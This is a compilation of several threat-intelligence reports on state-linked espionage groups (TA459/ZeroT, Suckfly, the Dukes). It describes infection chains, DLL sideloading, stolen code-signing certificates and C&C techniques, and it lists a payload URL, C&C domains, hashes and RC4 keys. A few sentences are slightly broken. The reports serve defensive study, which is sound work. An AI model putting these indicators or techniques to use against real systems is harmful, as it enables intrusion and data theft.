Running the strings utility against the dumped ACLIENT.EXE binary revealed evidence that the file was the Altiris agent .
These results indicated that the threat actors leveraged the Altiris management platform installed at the client site , along with compromised domain credentials associated with the Altiris system , to move laterally within the compromised environment .
Threat groups often follow a path of least resistance to achieve their objective .
They will leverage legitimate remote access solutions for entry and valid system administrator tools for lateral movement , if possible .
To help disrupt this tactic , it is important that organizations implement two-factor authentication for all remote access solutions and consider doing the same for internal , high-value assets like their internal system management consoles .
CTU researchers assess with high confidence that threat groups like TG-1314 will continue to live off of the land to avoid detection and conduct their operations .
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APT Targets Financial Analysts with CVE-2017-0199 .
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APT Targets Financial Analysts with CVE-2017-0199 .
On April 20 , Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries .
These analysts were linked by their coverage of the telecommunications industry , making this targeting very similar to , and likely a continuation of , activity described in our “ In Pursuit of Optical Fibers and Troop Intel ” blog .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
The actor typically targets Central Asian countries , Russia , Belarus , Mongolia , and others .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
In this blog , we also document other 2017 activity so far by this attack group , including their distribution of ZeroT malware and secondary payloadsIn this campaign , attackers used a Microsoft Word document called 0721.doc , which exploits CVE-2017-0199 .
This vulnerability was disclosed and patched days prior to this attack .
The document uses the logic flaw to first download the file power.rtf from http://122.9.52.215/news/power.rtf .
The payload is actually an HTML Application ( HTA ) file , not an RTF document .
The HTA ’s VBScript changes the window size and location and then uses PowerShell to download yet another script : power.ps1 .
This is a PowerShell script that downloads and runs the ZeroT payload cgi.exe .
The attack group has made incremental changes to ZeroT since our last analysis .
While they still use RAR SFX format for the initial payloads , ZeroT now uses a the legitimate McAfee utility ( SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe ) named mcut.exe instead of the Norman Safeground AS for sideloading as they have in the past .
The encrypted ZeroT payload , named Mctl.mui , is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously .
Once ZeroT is running , we observed that the fake User-Agent used in the requests changed from “ Mozilla/6.0 ( compatible ; MSIE 10.0 ; Windows NT 6.2 ; Tzcdrnt/6.0 ) ” to “ Mozilla/6.0 ( compatible ; MSIE 11.0 ; Windows NT 6.2 ) ” , thus removing the “ Tzcdrnt ” typo observed in previous versions .
The initial beacon to index.php changed to index.txt but ZeroT still expects an RC4 encrypted response using a static key : “ (*^GF (9042&* ” .
Next , ZeroT uses HTTP beacons to transmit information about the infected system to the command and control ( C&C ) .
All posts are encrypted , unlike the last time we analyzed a sample from this actor , when the first POST was accidentally not encrypted .
After that , stage 2 payloads are still retrieved as Bitmap ( BMP ) images that use Least Significant Bit ( LSB ) Steganography to hide the real payloads .
These images appear normal in image viewers .
The stage 2 payload was PlugX that beaconed to C&C servers www.icefirebest.com and www.icekkk.net .
Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware payloads .
ZeroT remained the primary stage 1 payload , but the stage 2 payloads varied .
One such interesting example was “ ПЛАН_РЕАЛИЗАЦИИ_ПРОЕКТА.rar ” ( SHA256 b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda ) .
Translated from Russian , this file is named “ PROJECT_REALIZATION_PLAN.rar ” and contains a compressed .scr executable .
This ZeroT executable communicated with the C&C domain www.kz-info.net and downloaded PlugX as well as an additionalTrojan which communicated with the www.ruvim.net C&C server .
is a payload that we do not see this group using frequently .
Another interesting ZeroT sample ( SHA256 bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374 ) contained the executable 0228.exe and a decoy document 0228.doc in the RAR SFX archive .
Bundling decoy documents is a common tactic by this group .
RAR SFX directives are used to display the decoy while the malicious payload is executed .
We suspect that this specific lure was copied from the news article http://www.cis.minsk.by/news.php?id=7557 .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
However , their strategy , tactics , techniques , and procedures in this particular attack emphasize the importance of rigorous patching regimens for all organizations .
Even as software vulnerabilities often take a back seat to human exploits and social engineering , robust defenses must include protection at the email gateway , proactive patch management , and thoughtful end user education .
Paying attention to the details of past attacks is also an important means of preparing for future attacks .
Noting who is targeted , with what malware , and with what types of lures provide clues with which organizations can improve their security posture .
At the same time , multinational organizations like the financial services firms targeted here must be acutely aware of the threats from state-sponsored actors working with sophisticated malware to compromise users and networks .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
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Suckfly : Revealing the secret life of your code signing certificates .
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Suckfly : Revealing the secret life of your code signing certificates .
Release_Time : 2016-03-15 Report_URL : https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocumentsIn late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Normally , this is considered a low-level alert easily defeated by security software .
In this case , however , the hacktool had an unusual characteristic not typically seen with this type of file ; it was signed with a valid code-signing certificate .
Many hacktools are made for less than ethical purposes and are freely available , so this was an initial red flag , which led us to investigate further .
As our investigation continued , we soon realized this was much larger than a few hacktools .
We discovered Suckfly , an advanced threat group , conducting targeted attacks using multiple stolen certificates , as well as hacktools and custom malware .
The group had obtained the certificates through pre-attack operations before commencing targeted attacks against a number of government and commercial organizations spread across multiple continents over a two-year period .
This type of activity and the malicious use of stolen certificates emphasizes the importance of safeguarding certificates to prevent them from being used maliciously .
Suckfly has a number of hacktools and malware varieties at its disposal : Back door , Keylogger , Port scanner , Misc. tool , Exploit , Credential dumper , Privilage escalation .
The first signed hacktool we identified in late 2015 was a digitally signed brute-force server message block ( SMB ) scanner .
The organization associated with this certificate is a South Korean mobile software developer .
While we became initially curious because the hacktool was signed , we became more suspicious when we realized a mobile software developer had signed it , since this is not the type of software typically associated with a mobile application .
Based on this discovery , we began to look for other binaries signed with the South Korean mobile software developer's certificate .
This led to the discovery of three additional hacktools also signed using this certificate .
In addition to being signed with a stolen certificate , the identified hacktools had been used in suspicious activity against a US based health provider operating in India .
This evidence indicates that the certificate ’s rightful owner either misused it or it had been stolen from them .
Symantec worked with the certificate owner to confirm that the hacktool was not associated with them .
Following the trail further , we traced malicious traffic back to where it originated from and looked for additional evidence to indicate that the attacker persistently used the same infrastructure .
We discovered the activity originated from three separate IP addresses , all located in Chengdu , China .
In addition to the traffic originating from Chengdu , we identified a selection of hacktools and malware signed using nine stolen certificates .
The nine stolen certificates originated from nine different companies who are physically located close together around the central districts of Seoul , South Korea .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
However , by analyzing the dates when we first saw the certificates paired with hacktools or malware , we can gain insight into when the certificates may have been stolen .
Figure 4 details how many times each stolen certificate was used in a given month .
The first sighting of three of the nine stolen certificates being used maliciously occurred in early 2014 .
Those three certificates were the only ones used in 2014 , making it likely that the other six were not compromised until 2015 .
All nine certificates were used maliciously in 2015 .
As noted earlier , the stolen certificates Symantec identified in this investigation were used to sign both hacking tools and malware .
Further analysis of the malware identified what looks like a custom back door .
We believe Suckfly specifically developed the back door for use in cyberespionage campaigns .
Symantec detects this threat as Backdoor.Nidiran .
Analysis of Nidiran samples determined that the back door had been updated three times since early 2014 , which fits the timeline outlined in Figure 4 .
The modifications were minor and likely performed to add capabilities and avoid detection .
While the malware is custom , it only provides the attackers with standard back door capabilities .
Suckfly delivered Nidiran through a strategic web compromise .
Specifically , the threat group used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This exploit is triggered when a potential victim browses to a malicious page using Internet Explorer , which can allow the attacker to execute code with the same privileges as the currently logged-in user .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The threat then executes “ svchost.exe ” , a PE file , which is actually a clean tool known as OLEVIEW.EXE .
The executable will then load iviewers.dll , which is normally a clean , legitimate file .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
This technique is associated with themalware and is frequently used in China based cyberespionage activity .
Suckfly isn’t the only attack group to use certificates to sign malware but they may be the most prolific collectors of them .
After all , Stuxnet , widely regarded as the world ’s first known cyberweapon , was signed using stolen certificates from companies based in Taiwan with dates much earlier than Suckfly .
Other cyberespionage groups , including Black Vine and Hidden Lynx , have also used stolen certificates in their campaigns .
In April 2013 , a third-party vendor published a report about a cyberespionage group using custom malware and stolen certificates in their operations .
The report documented an advanced threat group they attributed to China .
Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti .
The Blackfly attacks share some similarities with the more recent Suckfly attacks .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Another similarity is that Suckfly stole a certificate from Company D ( see Figure 4 ) less than two years after Blackfly had stolen a certificate from the same company .
While the stolen certificates were different , and stolen in separate instances , they were both used with custom malware in targeted attacks originating from China .
Signing malware with code-signing certificates is becoming more common , as seen in this investigation and the other attacks we have discussed .
Attackers are taking the time and effort to steal certificates because it is becoming necessary to gain a foothold on a targeted computer .
Attempts to sign malware with code-signing certificates have become more common as the Internet and security systems have moved towards a more trust and reputation oriented model .
This means that untrusted software may not be allowed to run unless it is signed .
As we noted in our previous research on the Apple threat landscape , some operating systems , such as Mac OS X , are configured by default to only allow applications to run if they have been signed with a valid certificate , meaning they are trusted .
However , using valid code-signing certificates stolen from organizations with a positive reputation can allow attackers to piggyback on that company ’s trust , making it easier to slip by these defenses and gain access to targeted computers .
Suckfly paints a stark picture of where cyberattack groups and cybercriminals are focusing their attentions .
Our investigation shines a light on an often unknown and seedier secret life of code-signing certificates , which is completely unknown to their owners .
The implications of this study shows that certificate owners need to keep a careful eye on them to prevent them from falling into the wrong hands .
It is important to give certificates the protection they need so they can't be used maliciously .
The certificates are only as secure as the safeguards that organizations put around them .
Once a certificate has been compromised , so has the reputation of the organization who signed it .
An organization whose certificate has been stolen and used to sign malware will always be associated with that activity .
Symantec monitors for this type of activity to help prevent organizations from being tied to malicious actions undertaken with their stolen certificates .
During the course of this investigation , we ensured that all certificates compromised by Suckfly were revoked and the affected companies notified .
Over the past few years , we have seen a number of advanced threats and cybercrime groups who have stolen code-signing certificates .
In all of the cases involving an advanced threat , the certificates were used to disguise malware as a legitimate file or application .
File hashes :05edd53508c55b9dd64129e944662c0d 1cf5ce3e3ea310b0f7ce72a94659ff54 352eede25c74775e6102a095fb49da8c 3b595d3e63537da654de29dd01793059 4709395fb143c212891138b98460e958 50f4464d0fc20d1932a12484a1db4342 96c317b0b1b14aadfb5a20a03771f85f ba7b1392b799c8761349e7728c2656dd de5057e579be9e3c53e50f97a9b1832b e7d92039ffc2f07496fe7657d982c80f e864f32151d6afd0a3491f432c2bb7a2 .
usv0503.iqservs-jp.com aux.robertstockdill.com fli.fedora-dns-update.com bss.pvtcdn.com ssl.microsoft-security-center.com ssl.2upgrades.com 133.242.134.121 fli.fedora-dns-update.com .
Indian organizations targeted in Suckfly attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
These attacks occurred in several different countries , but our investigation revealed that the primary targets were individuals and organizations primarily located in India .
While there have been several Suckfly campaigns that infected organizations with the group ’s custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This suggests that these attacks were part of a planned operation against specific targets in India .
The first known Suckfly campaign began in April of 2014 .
During our investigation of the campaign , we identified a number of global targets across several industries who were attacked in 2015 .
Many of the targets we identified were well known commercial organizations located in India .
These organizations included :One of India 's largest financial organizations A large e-commerce company The e-commerce company 's primary shipping vendor One of India 's top five IT firms A United States healthcare provider 's Indian business unit Two government organizations .
Suckfly spent more time attacking the government networks compared to all but one of the commercial targets .
Additionally , one of the two government organizations had the highest infection rate of the Indian targets .
Figure 1 shows the infection rate for each of the targets .
Indian government org #2 is responsible for implementing network software for different ministries and departments within India 's central government .
The high infection rate for this target is likely because of its access to technology and information related to other Indian government organizations .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Suckfly 's targets are displayed in figure 2 by their industry , which provides a clearer view of the group ’s operations .
Most of the group 's attacks are focused on government or technology related companies and organizations .
One of the attacks we investigated provided detailed insight into how Suckfly conducts its operations .
In 2015 , Suckfly conducted a multistage attack between April 22 and May 4 against an e-commerce organization based in India .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
The tools and malware used in this breach were also signed with stolen digital certificates .
Suckfly 's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company 's internal network .
We don't have hard evidence of how Suckfly obtained information on the targeted user , but we did find a large open-source presence on the initial target .
The target 's job function , corporate email address , information on work related projects , and publicly accessible personal blog could all be freely found online .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
Based on the amount of open-source information available on the target , it is feasible that a spear-phishing email may have been used .
After the attackers successfully exploited the employee ’s system , they gained access to the e-commerce company 's internal network .
We found evidence that Suckfly used hacktools to move latterly and escalate privileges .
To do this the attackers used a signed credential-dumping tool to obtain the victim 's account credentials .
With the account credentials , the attackers were able to access the victim 's account and navigate the internal corporate network as though they were the employee .
On April 27 , the attackers scanned the corporate internal network for hosts with ports 8080 , 5900 , and 40 open .
Ports 8080 and 5900 are common ports used with legitimate protocols , but can be abused by attackers when they are not secured .
It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port .
Based on Suckfly scanning for common ports , it ’s clear that the group was looking to expand its foothold on the e-commerce company 's internal network .
The attackers ’ final step was to exfiltrate data off the victim ’s network and onto Suckfly ’s infrastructure .
While we know that the attackers used the Nidiran back door to steal information about the compromised organization , we do not know if Suckfly was successful in stealing other information .
These steps were taken over a 13-day period , but only on specific days .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
There was no activity from the group on weekends .
We were able to determine this because the attackers ’ hacktools are command line driven and can provide insight into when the operators are behind keyboards actively working .
Figure 4 shows the attackers ’ activity levels throughout the week .
Suckfly made its malware difficult to analyze to prevent their operations from being detected .
However , we were able to successfully analyze Suckfly malware samples and extract some of the communications between the Nidiran back door and the Suckfly command and control ( C&C ) domains .
We analyzed the dropper , which is an executable that contains the following three files :dllhost.exe : The main host for the .dll file .
iviewers.dll : Used to load encrypted payloads and then decrypt them .
msfled : The encrypted payload .
All three files are required for the malware to run correctly .
Once the malware has been executed , it checks to see if it has a connection to the internet before running .
If the connection test is successful , the malware runs and attempts to communicate with the C&C domain over ports 443 and 8443 .
In the samples we analyzed we found the port and C&C information encrypted and hardcoded into the Nidiran malware itself .
The key for the RC4 encryption in this sample is the hardcoded string “ h0le ” .
Once the cookie data is decoded , Suckfly has the network name , hostname , IP address , and the victim 's operating system information .
Information about the C&C infrastructure identified in our analysis of Suckfly activity can be seen in Table 1 .
Domain Registration IP address Registration dateaux.robertstockdill.com kumar.pari@yandex.com Unknown April 1 , 2014 .
ssl.2upgrades.com kumar.pari@yandex.com 176.58.96.234 July 5 , 2014 .
bss.pvtcdn.com registrar@mail.zgsj.com 106.184.1.38 May 19 , 2015 .
ssl.microsoft-security-center.com Whoisguard Unknown July 20 ,Domain@quicca.com 133.242.134.121 August 18 , 2014 .
fli.fedora-dns-update.com Whoisguard Unknown Unknown .
Suckfly targeted one of India ’s largest e-commerce companies , a major Indian shipping company , one of India ’s largest financial organizations , and an IT firm that provides support for India ’s largest stock exchange .
All of these targets are large corporations that play a major role in India ’s economy .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
Suckfly has the resources to develop malware , purchase infrastructure , and conduct targeted attacks for years while staying off the radar of security organizations .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
The nature of the Suckfly attacks suggests that it is unlikely that the threat group orchestrated these attacks on their own .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
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THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
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THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
TOOLS AND TECHNIQUES OF THE DUKES .
PINCHDUKE : First known activity November 2008 , Most recent known activity Summer 2010 , C&C communication methods HTTP(S) , Known toolset components Multiple loaders , Information stealer .
The PinchDuke toolset consists of multiple loaders and a core information stealer Trojan .
The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke .
The PinchDuke information stealer gathers system configuration information , steals user credentials , and collects user files from the compromised host transferring these via HTTP (S ) to a C&C server .
We believe PinchDuke ’s credential stealing functionality is based on the source code of the Pinch credential stealing malware ( also known as LdPinch ) that was developed in the early 2000s and has later been openly distributed on underground forums .
Credentials targeted by PinchDuke include ones associated with the following software or services : The Bat! , Yahoo! , Mail.ru , Passport.Net , Google Talk , Netscape Navigator , Mozilla Firefox , Mozilla Thunderbird , Internet Explorer , Microsoft Outlook , WinInet Credential Cache , Lightweight Directory Access Protocol ( LDAP ) .
PinchDuke will also search for files that have been created within a predefined timeframe and whose file extension is present in a predefined list .
As a curiosity , most PinchDuke samples contain a Russian language error message : “ There is an error in the module ’s name ! The length of the data section name must be 4 bytes ” .
GEMINIDUKE : First known activity January 2009 , Most recent known activity December 2012 , C&C communication methods HTTP(S) , Known toolset components Loader , Information stealer , Multiple persistence components .
The GeminiDuke toolset consists of a core information stealer , a loader and multiple persistencerelated components .
Unlike CosmicDuke and PinchDuke , GeminiDuke primarily collects information on the victim computer ’s configuration .
The collected details include : Local user accounts , Network settings , Internet proxy settings , Installed drivers , Running processes , Programs previously executed by users , Programs and services configured to automatically run at startup , Values of environment variables , Files and folders present in any users home folder , Files and folders present in any users My Documents , Programs installed to the Program Files folder , Recently accessed files , folders and programs .
As is common for malware , the GeminiDuke infostealer uses a mutex to ensure that only one instance of itself is running at a time .
What is less common is that the name used for the mutex is often a timestamp .
We believe these timestamps to be generated during the compilation of GeminiDuke from the local time of the computer being used .
Comparing the GeminiDuke compilation timestamps , which always reference the time in the UTC+0 timezone , with the local time timestamps used as mutex names , and adjusting for the presumed timezone difference , we note that all of the mutex names reference a time and date that is within seconds of the respective sample ’s compilation timestamp .
Additionally , the apparent timezone of the timestamps in all of the GeminiDuke samples compiled during the winter is UTC+3 , while for samples compiled during the summer , it is UTC+4 .
The observed timezones correspond to the pre-2011 definition of Moscow Standard Time ( MSK ) , which was UTC+3 during the winter and UTC+4 during the summer .
In 2011 MSK stopped following Daylight Saving Time ( DST ) and was set to UTC+4 year-round , then reset to UTC +3 yearround in 2014 .
Some of the observed GeminiDuke samples that used timestamps as mutex names were compiled while MSK still respected DST and for these samples , the timestamps perfectly align with MSK as it was defined at the time .
However , GeminiDuke samples compiled after MSK was altered still vary the timezone between UTC+3 in the winter and UTC+4 during the summer .
While computers using Microsoft Windows automatically adjust for DST , changes in timezone definitions require that an update to Windows be installed .
We therefore believe that the Dukes group simply failed to update the computer they were using to compile GeminiDuke samples , so that the timestamps seen in later samples still appear to follow the old definition of Moscow Standard Time .
The GeminiDuke infostealer has occasionally been wrapped with a loader that appears to be unique to GeminiDuke and has never been observed being used with any of the other Duke toolsets .
GeminiDuke also occasionally embeds additional executables that attempt to achieve persistence on the victim computer .
These persistence components appear to be uniquely customized for use with GeminiDuke , but they use many of the same techniques as CosmicDuke persistence components .
COSMICDUKE : First known activity January 2010 , Most recent known activity Summer 2015 , Other names Tinybaron , BotgenStudios , NemesisGemina , C&C communication methods HTTP(S) , FTP , WebDav , Known toolset components Information stealer , Multiple loaders , Privilege escalation component , Multiple persistence components .
The CosmicDuke toolset is designed around a main information stealer component .
This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities , such as multiple methods of establishing persistence , as well as modules that attempt to exploit privilege escalation vulnerabilities in order to execute CosmicDuke with higher privileges .
CosmicDuke ’s information stealing functionality includes : Keylogging , Taking screenshots , Stealing clipboard contents , Stealing user files with file extensions that match a predefined list , Exporting the users cryptographic certificates including private keys , Collecting user credentials , including passwords , for a variety of popular chat and email programs as well as from web browsers CosmicDuke may use HTTP , HTTPS , FTP or WebDav to exfiltrate the collected data to a hardcoded C&C server .
While we believe CosmicDuke to be an entirely custom- written toolset with no direct sharing of code with other Duke toolsets , the high-level ways in which many of its features have been implemented appear to be shared with other members of the Duke arsenal .
Specifically , the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke .
Likewise , many of CosmicDuke ’s persistence components use techniques also used by components associated with GeminiDuke and CozyDuke .
In all of these cases , the techniques are the same , but the code itself has been altered to work with the toolset in question , leading to small differences in the final implementation .
A few of the CosmicDuke samples we discovered also included components that attempt to exploit either of the publicly known CVE-2010-0232 or CVE-2010- 4398 privilege escalation vulnerabilities .
In the case of CVE-2010-0232 , the exploit appears to be based directly on the proof of concept code published by security researcher Tavis Ormandy when he disclosed the vulnerability .
We believe that the exploit for CVE- 2010-4398 was also based on a publicly available proof of concept .
In addition to often embedding persistence or privilege escalation components , CosmicDuke has occasionally embedded PinchDuke , GeminiDuke , or MiniDuke components .
It should be noted that CosmicDuke does not interoperate with the second , embedded malware in any way other than by writing the malware to disk and executing it .
After that , CosmicDuke and the second malware operate entirely independently of each other , including separately contacting their C&C servers .
Sometimes , both malware have used the same C&C server , but in other cases , even the servers have been different .
Finally , it is worth noting that while most of the compilation timestamps for CosmicDuke samples appear to be authentic , we are aware of a few cases of them being forged .
One such case was detailed on page 10 as an apparent evasion attempt .
Another is a loader variant seen during the spring of 2010 in conjunction with both CosmicDuke and PinchDuke .
These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September , 2001 .
However , many of these loader samples embed CosmicDuke variants that exploit the CVE-2010- 0232 privilege escalation vulnerability thus making it impossible for the compilation timestamps to be authentic .
MINIDUKE : First known activity Loader July 2010 , Backdoor May 2011 Most recent known activity Loader : Spring 2015 , Backdoor : Summer 2014 C&C communication methods HTTP(S) , Twitter , Known toolset components Downloader , Backdoor , Loader .
The MiniDuke toolset consists of multiple downloader and backdoor components , which are commonly referred to as the MiniDuke “ stage 1 ” , “ stage 2 ” , and “ stage 3 ” components as per Kaspersky ’s original MiniDuke whitepaper .
Additionally , a specific loader is often associated with the MiniDuke toolset and is referred to as the “ MiniDuke loader ” .
While the loader has often been used together with other MiniDuke components , it has also commonly been used in conjunction with CosmicDuke and PinchDuke .
In fact , the oldest samples of the loader that we have found were used with PinchDuke .
To avoid confusion however , we have decided to continue referring to the loader as the “ MiniDuke loader ” .
Two details about MiniDuke components are worth noting .
Firstly , some of the MiniDuke components were written in Assembly language .
While many malware were written in Assembly during the ‘ old days ‘ of curiosity-driven virus writing , it has since become a rarity .
Secondly , some of the MiniDuke components do not contain a hardcoded C&C server address , but instead obtain the address of a current C&C server via Twitter .
The use of Twitter either to initially obtain the address of a C&C server ( or as a backup if no hardcoded primary C&C server responds ) is a feature also found in OnionDuke , CozyDuke , and HammerDuke .
COZYDUKE : First known activity January 2010 , Most recent known activity : Spring 2015 , Other names CozyBear , CozyCar , Cozer , EuroAPT , C&C communication methods HTTP(S) , Twitter ( backup ) , Known toolset components Dropper , Modular backdoor , Multiple persistence components , Information gathering module , Screenshot module , Password stealing module , Password hash stealing module .
CozyDuke is not simply a malware toolset ; rather , it is a modular malware platform formed around a core backdoor component .
This component can be instructed by the C&C server to download and execute arbitrary modules , and it is these modules that provide CozyDuke with its vast array of functionality .
Known CozyDuke modules include : Command execution module for executing arbitrary Windows Command Prompt commands , Password stealer module , NT LAN Manager ( NTLM ) hash stealer module , System information gathering module , Screenshot module .
In addition to modules , CozyDuke can also be instructed to download and execute other , independent executables .
In some observed cases , these executables were self-extracting archive files containing common hacking tools , such as PSExec and Mimikatz , combined with script files that execute these tools .
In other cases , CozyDuke has been observed downloading and executing tools from other toolsets used by the Dukes such as OnionDuke , SeaDuke , and HammerDuke .
ONIONDUKE : First known activity February 2013 , Most recent known activity Spring 2015 , C&C communication methods HTTP(S) , Twitter ( backup ) , Known toolset components Dropper , Loader , Multiple modular core components , Information stealer , Distributed Denial of Service ( DDoS ) module , Password stealing module , Information gathering module , Social network spamming module .
The OnionDuke toolset includes at least a dropper , a loader , an information stealer Trojan and multiple modular variants with associated modules .
OnionDuke first caught our attention because it was being spread via a malicious Tor exit node .
The Tor node would intercept any unencrypted executable files being downloaded and modify those executables by adding a malicious wrapper contained an embedded OnionDuke .
Once the victim finished downloading the file and executed it , the wrapper would infect the victim ’s computer with OnionDuke before executing the original legitimate executable .
The same wrapper has also been used to wrap legitimate executable files , which were then made available for users to download from torrent sites .
Again , if a victim downloaded a torrent containing a wrapped executable , they would get infected with OnionDuke .
Finally , we have also observed victims being infected with OnionDuke after they were already infected with CozyDuke .
In these cases , CozyDuke was instructed by its C&C server to download and execute OnionDuke toolset .
SEADUKE : First known activity October 2014 , Most recent known activity Spring 2015 , Other names SeaDaddy , SeaDask , C&C communication methods HTTP(S) , Known toolset components Backdoor .
SeaDuke is a simple backdoor that focuses on executing commands retrieved from its C&C server , such as uploading and downloading files , executing system commands and evaluating additional Python code .
SeaDuke is made interesting by the fact that it is written in Python and designed to be cross-platform so that it works on both Windows and Linux .
The only known infection vector for SeaDuke is via an existing CozyDuke infection , wherein CozyDuke downloads and executes the SeaDuke toolset .
Like HammerDuke , SeaDuke appears to be used by the Dukes group primarily as a secondary backdoor left on CozyDuke victims after that toolset has completed the initial infection and stolen any readily available information from them .
HAMMERDUKE : First known activity January 2015 , Most recent known activity Summer 2015 , Other names HAMMERTOSS , Netduke , C&C communication methods HTTP(S) , Twitter , Known toolset components Backdoor .
HammerDuke is a simple backdoor that is apparently designed for similar use cases as SeaDuke .
Specifically , the only known infection vector for HammerDuke is to be downloaded and executed by CozyDuke onto a victim that has already been compromised by that toolset .
This , together with HammerDuke ’s simplistic backdoor functionality , suggests that it is primarily used by the Dukes group as a secondary backdoor left on CozyDuke victims after CozyDuke performed the initial infection and stole any readily available information from them .
HammerDuke is however interesting because it is written in .NET , and even more so because of its occasional use of Twitter as a C&C communication channel .
Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands , but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date .
If the account exists , HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute .
HammerDuke ’s use of Twitter and crafted image files is reminiscent of other Duke toolsets .
Both OnionDuke and MiniDuke also use date-based algorithms to generate Twitter account names and then searched for any tweets from those accounts that linked to image files .
In contrast however , for OnionDuke and MiniDuke the linked image files contain embedded malware to be downloaded and executed , rather than instructions .
Similarly , GeminiDuke may also download image files , but these would contain embedded additional configuration information for the toolset itself .
Unlike HammerDuke however , the URLs for the images downloaded by GeminiDuke are hardcoded in its initial configuration , rather than retrieved from Twitter .
CLOUDDUKE : First known activity June 2015 , Most recent known activity Summer 2015 , Other names MiniDionis , CloudLook , C&C communication methods HTTP(S) , Microsoft OneDrive , Known toolset components Downloader , Loader , Two backdoor variants .
CloudDuke is a malware toolset known to consist of , at least , a downloader , a loader and two backdoor variants .
The CloudDuke downloader will download and execute additional malware from a preconfigured location .
Interestingly , that location may be either a web address or a Microsoft OneDrive account .
Both CloudDuke backdoor variants support simple backdoor functionality , similar to SeaDuke .
While one variant will use a preconfigured C&C server over HTTP or HTTPS , the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators .
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THE DUKES 7 YEARS OF RUSSIAN CYBER ESPIONAGE .
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THE DUKES 7 YEARS OF RUSSIAN CYBER ESPIONAGE .
The Dukes primarily use spear-phishing emails when attempting to infect victims with their malware .
These spear-phishing emails range from ones purposely designed to look like spam messages used to spread common crimeware and addressed to large numbers of people , to highly targeted emails addressed to only a few recipients ( or even just one person ) and with content that is highly relevant for the intended recipient .
In some cases , the Dukes appear to have used previously compromised victims to send new spear-phishing emails to other targets .
The spear-phishing emails used by the Dukes may contain either specially-crafted malicious attachments or links to URLs hosting the malware .
When malicious attachments are used , they may either be designed to exploit a vulnerability in a popular software assumed to be installed on the victim ’s machine , such as Microsoft Word or Adobe Reader , or the attachment itself may have its icon and filename obfuscated in such a way that the file does not appear to be an executable .
The only instances which we are aware of where the Dukes did not use spear-phishing as the initial infection vector is with certain OnionDuke variants .
These were instead spread using either a malicious Tor node that would trojanize legitimate applications on-the-fly with the OnionDuke toolset , or via torrent files containing previously trojanized versions of legitimate applications .
Finally , it is worth noting that the Dukes are known to sometimes re-infect a victim of one of their malware tools with another one of their tools .
Examples include CozyDuke infecting its victims with SeaDuke , HammerDuke ,or OnionDuke ; and CosmicDuke infecting its victims with PinchDuke ,GeminiDuke or MiniDuke .
The Dukes have employed exploits both in their infection vectors as well as in their malware .
